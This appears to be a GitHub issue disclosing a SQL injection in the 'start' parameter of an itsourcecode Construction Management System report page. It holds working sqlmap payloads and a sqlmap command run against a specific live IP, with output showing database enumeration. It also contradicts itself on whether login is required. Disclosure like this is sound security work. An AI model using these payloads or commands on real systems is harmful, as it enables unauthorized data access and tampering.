

Qwh0729 / cve Public

<> Code **Issues** 1 Pull requests Actions Projects Security and quality

New issue



# itsourcecode Construction Management System V1.0 SQL Injection Vulnerability #1

Open



Qwh0729 opened 2 weeks ago

Owner ...

itsourcecode Construction Management System V1.0 SQL Injection Vulnerability

NAME OF AFFECTED PRODUCT(S)

- Construction Management System

Vendor Homepage

<https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/>

AFFECTED AND/OR FIXED VERSION(S)

- V1.0

Vuldb Submitter

- qiuwh

## Vulnerable File

- /borrowed\_equip\_report.php

## VERSION(S)

- V1.0

## PROBLEM TYPE

---

# Vulnerability Type

---

- SQL Injection

## Root Cause

---

- A SQL injection vulnerability was found in the "/borrowed\_equip\_report.php" file of the "Construction Management System Project In PHP". The reason for this issue is that attackers can inject malicious code from the parameter 'start' after logging in with valid credentials. The application fails to properly sanitize or validate this input before using it in SQL queries. This allows attackers to manipulate SQL queries and perform unauthorized operations.

## Impact

---

- Attackers can exploit this SQL injection vulnerability to no unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

## DESCRIPTION

---

During the security review of "Construction Management System", a critical SQL injection vulnerability was discovered in the "/borrowed\_equip\_report.php" file. attackers can inject malicious SQL queries through this parameter. Immediate remedial measures are needed to ensure system security and protect data integrity.

## Vulnerability Location:

---

- 'start' parameter

## POC:

---

```
Parameter: start (POST)
  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: submit=&start=2023-01-01' AND GTID_SUBSET(CONCAT(0x7170717871,(SELECT (ELT(2334=2334,1))),0x716b716271),2334)-- sbDm
```

```
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: submit=&start=2023-01-01' AND (SELECT 8643 FROM (SELECT(SLEEP(5)))jKyo)-- BZQo
```



## NO AUTHENTICATION REQUIRED

- Exploitation requires no authentication or prior access to the system.

## The following are screenshots of some specific Managemen obtained from testing and running with the sqlmap tool:

```
python sqlmap.py --random-agent --batch -u "http://154.219.114.125:8818/borrowed equip report.php" --data "submit=&start=2023-01-01" -p start --dbms=mysql --current-db
```

```
[22:12:23] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
POST parameter 'start' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 916 HTTP(s) requests:
---
Parameter: start (POST)
  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: submit=&start=2023-01-01' AND GTID_SUBSET(CONCAT(0x7170717871,(SELECT (ELT(2334=2334,1))),0x716b716271),2334)-- sbDm

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: submit=&start=2023-01-01' AND (SELECT 8643 FROM (SELECT(SLEEP(5)))jKyo)-- BZQo
---
[22:12:31] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.40, Nginx, PHP
back-end DBMS: MySQL >= 5.6
[22:12:35] [INFO] fetching current database
[22:12:35] [INFO] retrieved: '219_114_125_8818'
current database: '219_114_125_8818'
[22:12:35] [INFO] fetched data logged to text files under 'C:\Users\huawei\AppData\Local\sqlmap\output\154.219.114.125'
[22:12:35] [WARNING] your sqlmap version is outdated
```

### Suggested Repair

1. Use Prepared Statements and Parameter Binding:  
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepared statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
2. Input Validation and Filtering:  
Strictly validate and filter user input data to ensure it conforms to the expected format. For example, ensure that nominee IDs match a valid numeric pattern.
3. Minimize Database User Permissions:  
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin') for daily operations.
4. Regular Security Audits:  
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

[Sign up for free](#) to join this conversation on **GitHub**. Already have an account? [Sign in to comment](#)

## Metadata

### Assignees

No one assigned

### Labels

No labels

### Projects

No projects


### Milestone

No milestone

### Relationships

None yet

### Development

 Code with agent mode

No branches or pull requests

### Participants

